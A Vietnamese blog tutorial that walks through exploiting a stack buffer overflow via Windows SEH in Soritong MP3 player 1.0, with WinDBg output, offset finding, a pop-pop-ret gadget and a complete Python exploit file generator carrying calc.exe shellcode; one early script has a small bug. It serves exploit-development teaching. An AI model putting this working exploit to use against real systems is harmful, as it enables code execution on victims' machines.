Khai thác buffer overflow qua cơ chế SEH



I. Sơ lược đơn giản về SEH
SEH là cơ chế nhận những ngoại lệ xảy ra và xử lý chúng (Structure Exception Handler).
Đơn giản qua đoạn code sau:
try{
//code here
}catch(Exception){
//xử lý exception
}
image_thumb25
Trên Windows SEH được lưu address trong stack 8 bytes gồm 2 phần 4 bytes đầu trỏ đến next exception, phần 2 trỏ đến exception handler.
image_thumb45
4 byte 0xFFFFFFFF đánh dấu chuỗi bắt ngoại lệ kết thúc.
Ví dụ 1 đoạn code sau, biên dịch trên Visual Studio 2005.
#include<stdio.h>
#include<string.h>
#include<windows.h>
int ExceptionHandler(void);
int main(int argc,char *argv[]){
char temp[512];
printf(“Application launched”);
__try {
strcpy(temp,argv[1]);
} __except ( ExceptionHandler() ){
}
return 0;
}
int ExceptionHandler(void){
printf(“Exception”);
return 0;
}
Chạy chương trình bằng chương trình Immunity Debuger, xem phần stack ta sẽ thấy phần như hình.
seh1
ta thấy địa chỉ 0x0012f080 chứa địa chỉ 0x0012f0f0 trỏ đến phần tiếp của SEH record, địa chỉ 0x0012f084 chứa địa chỉ 0x10212d90 địa chỉ hàm ExceptionHandler.
Tóm lại SEH là cơ chê xử lý lỗi của Windows Kernel, mục đích để đón bắt và xử lý những lỗi xảy ra khi thực thi 1 chương trình, mặc dù chương trình của bạn thiết kế không sử dụng khối try…catch để handler exception thì chuỗi đón bắt ngoại lệ được đưa vào 1 cách ngầm định.
II. Khai thác BOF thông qua SEH
Yêu cầu: Windows XP SP2
Debuger : OllyDBg, Immunity Debuger, WinDBg
Ở đây tôi chọn WinDBg để exploit chương trình
Chương trình lỗi Soritong MP3 player 1.0 download tại link này :https://docs.google.com/file/d/0B0D1DYQpkA9UazVnQUFuazNtV0k/edit?usp=sharing
Trương trình bị overflow stack ở phần setup GUI cho giao diện, chạy script ở dưới để gen file ui.txt:
from struct import *
junk = ‘A’*5000
fw = open(‘ui.txt’,’w’)
fw.write(fw)
fw.close()
Chạy WinDBg vào File > Open Execute file chọn file SoriSong.exe ở thư mục cài đặt.
Gõ g để chạy chương trình.
seh2
(c84.ac0): Access violation – code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
Ta nhận được lỗi trên, địa chỉ exception bị ovewrite. View stack, gõ d esp.
Ta thấy chuỗi byte được bôi đậm là chuỗi byte đánh dấu sự kết thúc của chuỗi exception handler.
seh3
Gõ !analyze -v
Ta nhận được output, địa chỉ trỏ đến exception handler là 0x00422e33 (địa chi của stack) :
EXCEPTION_RECORD:  ffffffff — (.exr 0xffffffffffffffff)
ExceptionAddress: 00422e33 (SoriTong!TmC13_5+0x00003ea3)
  ExceptionCode: c0000005 (Access violation)
 ExceptionFlags: 00000000
NumberParameters: 2
  Parameter[0]: 00000001
  Parameter[1]: 00130000
Attempt to write to address 00130000
FAULTING_THREAD:  00000ac0
PROCESS_NAME:  SoriTong.exe
ADDITIONAL_DEBUG_TEXT:
Use ‘!findthebuild’ command to search for the target build information.
If the build information is available, run ‘!findthebuild -s ; .reload’ to set symbol path and load symbols.
FAULTING_MODULE: 7c900000 ntdll
DEBUG_FLR_IMAGE_TIMESTAMP:  37dee000
ERROR_CODE: (NTSTATUS) 0xc0000005 – The instruction at “0x%08lx” referenced memory at “0x%08lx”. The memory could not be “%s”.
EXCEPTION_CODE: (NTSTATUS) 0xc0000005 – The instruction at “0x%08lx” referenced memory at “0x%08lx”. The memory could not be “%s”.
EXCEPTION_PARAMETER1:  00000001
EXCEPTION_PARAMETER2:  00130000
WRITE_ADDRESS:  00130000
FOLLOWUP_IP:
SoriTong!TmC13_5+3ea3
00422e33 8810            mov     byte ptr [eax],dl
MOD_LIST: <ANALYSIS/>
BUGCHECK_STR:  APPLICATION_FAULT_INVALID_POINTER_WRITE_WRONG_SYMBOLS_EXPLOITABLE
PRIMARY_PROBLEM_CLASS:  INVALID_POINTER_WRITE_EXPLOITABLE
DEFAULT_BUCKET_ID:  INVALID_POINTER_WRITE_EXPLOITABLE
IP_ON_HEAP:  41414141
IP_IN_FREE_BLOCK: 41414141
FRAME_ONE_INVALID: 1
LAST_CONTROL_TRANSFER:  from 41414141 to 00422e33
STACK_TEXT:
WARNING: Stack unwind information not available. Following frames may be wrong.
0012fd38 41414141 41414141 41414141 41414141 SoriTong!TmC13_5+0x3ea3
0012fd3c 41414141 41414141 41414141 41414141 0x41414141
0012fd40 41414141 41414141 41414141 41414141 0x41414141
0012fd44 41414141 41414141 41414141 41414141 0x41414141
0012fd48 41414141 41414141 41414141 41414141 0x41414141
0012fd4c 41414141 41414141 41414141 41414141 0x41414141
0012fd50 41414141 41414141 41414141 41414141 0x41414141
0012fd54 41414141 41414141 41414141 41414141 0x41414141
0012fd58 41414141 41414141 41414141 41414141 0x41414141
0012fd5c 41414141 41414141 41414141 41414141 0x41414141
0012fd60 41414141 41414141 41414141 41414141 0x41414141
0012fd64 41414141 41414141 41414141 41414141 0x41414141
0012fd68 41414141 41414141 41414141 41414141 0x41414141
0012fd6c 41414141 41414141 41414141 41414141 0x41414141
0012fd70 41414141 41414141 41414141 41414141 0x41414141
0012fd74 41414141 41414141 41414141 41414141 0x41414141
0012fd78 41414141 41414141 41414141 41414141 0x41414141
SYMBOL_STACK_INDEX:  0
SYMBOL_NAME:  soritong!TmC13_5+3ea3
FOLLOWUP_NAME:  MachineOwner
MODULE_NAME: SoriTong
IMAGE_NAME:  SoriTong.exe
STACK_COMMAND:  ~0s ; kb
BUCKET_ID:  WRONG_SYMBOLS
FAILURE_BUCKET_ID:  INVALID_POINTER_WRITE_EXPLOITABLE_c0000005_SoriTong.exe!TmC13_5
Followup: MachineOwner
Gõ d fs:[0] dump TEB ta sẽ có output
0:000> d fs:[0]
003b:00000000  64 fd 12 00 00 00 13 00-00 c0 12 00 00 00 00 00 d……………
003b:00000010  00 1e 00 00 00 00 00 00-00 f0 fd 7f 00 00 00 00 …………….
003b:00000020  84 0c 00 00 c0 0a 00 00-00 00 00 00 08 2a 14 00 ………….*..
003b:00000030  00 80 fd 7f 00 00 00 00-00 00 00 00 00 00 00 00 …………….
003b:00000040  e0 d2 d2 e2 00 00 00 00-00 00 00 00 00 00 00 00 …………….
003b:00000050  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 …………….
003b:00000060  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 …………….
003b:00000070  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 …………….
Địa chỉ 0x0012fd64 là địa chỉ trỏ phần đón bắt exception.
0:000> d 0012fd64
0012fd64  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012fd74  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012fd84  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012fd94  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012fda4  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012fdb4  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012fdc4  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012fdd4  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
Ta thấy địa chỉ này đã bị overwrite, gõ tiếp !exchain
0:000> !exchain
0012fd64: 41414141
Invalid exception stack at 41414141
Tuyệt :D
Nhấn phím F5 hoặc gõ lệnh g để tiếp tục chương trình
0:000> g
(c84.ac0): Access violation – code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000000 ecx=41414141 edx=7c9032bc esi=00000000 edi=00000000
eip=41414141 esp=0012d644 ebp=0012d664 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
41414141 ??              ???
Bây giờ eip đã trỏ đến 41414141(AAAA), nghĩa là ta có thể điều khiển được luồng thực thi của chương trình.
Bắt đầu viết playload nào :D.
Payload sẽ hoạt động theo cơ chế sau:
Đầu tiên chương trình khi trigger ngoại lệ sẽ thực thi phần <pop,pop,ret> mục đích giảm esp trỏ đến vị trí cuối của junk ( tăng esp lên 8bytes, có thể chọn gadgets mov esp,0x8 để thay thế) , mục đích để trigger phần <jump to shellcode>
khi exception xảy ra:
(1)—————-(2)————–(3)————(4)
[ Junk buffer ][ next SEH ][ SE Handler ][ Shellcode ]
SE Handler sẽ được kích hoạt , thực thi phần handler.
Lợi dụng cơ chế này SE Handler sẽ làm cho ESP trỏ đến SEH Handler trỏ về next SEH mục đích jump tơi ShellCode và execute shellcode
SEH Handler —->(3)[pop pop ret] —->(2)[jump shellcode] —–> (4)[execute shellcode]
pop pop ret tăng esp lên 8 bytes về vị trí cuối của junk buffer mục đích trỏ về next SEH
junk = “Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac”+
“6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2A”+
“f3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9″+
“Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak”+
“6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2A”+
“n3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9″+
“Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As”+
“6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2A”+
“v3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9″+
“Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba”+
“6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2B”+
“d3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9″+
“Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi”+
“6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2B”+
“l3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9″+
“Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq”+
“6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2B”+
“t3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9″+
“Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By”+
“6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2C”+
“b3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9″+
“Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg”+
“6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2C”+
“j3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9″+
“Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co”
Chạy chương trình với junk như trên ta có
0:000> !exchain
0012fd64: <Unloaded_ud.drv>+41367440 (41367441)
Invalid exception stack at 35744134
35744134 => 34 41 74 35 => At6A SEH bị overwrite ở offset 588 -> offset 584 address trỏ đến next exception handler.
Tìm address của intructor pop,pop,ret, có thẻ dùng immunity debuger để search gadgets, , click chuột phải vào phần code assembly chọn Search For -> Search for all sequence for all modules
gõ:
pop R32
pop R32
retn
ta có kết quả sau
seh4
ta chọn sequence:
1001B7B8   5E               POP ESI
1001B7B9   5B               POP EBX
1001B7BA   C3               RETN
Phần [next SEH] ta sẽ set intruction jump tới phần [shellcode] dùng instruction đơn giản 0xeb và 0x06 còn 2 bytes còn lại sẽ fill nop bytes 0x90
Đây là payload của tôi:
from struct import *
#1001B7B8   5E               POP ESI
#1001B7B9   5B               POP EBX
#1001B7BA   C3               RETN
uitxt = ‘ui.txt’
junk = ‘A’*584
junk += ‘\xeb\x06\x90\x90′ #jump
junk += pack(‘<I’,0x1001B7B8)
shellcode = ‘\x31\xC9\x51\x68\x63\x61\x6C\x63\x54\xB8\xC7\x93\xC2\x77\xFF\xD0′ #excute calc.exe
nop = ‘\x90’*1000
payload = junk + shellcode + nop
print ‘Generating PayLoad’
print ‘len(payload) = ‘,len(payload)
fw = open(uitxt,’w’)
fw.write(payload)
fw.close()
Restart debug lại gõ g 2 lần và ta đã exploit được phần mềm.
seh5
Peter Nguyen

0 comments: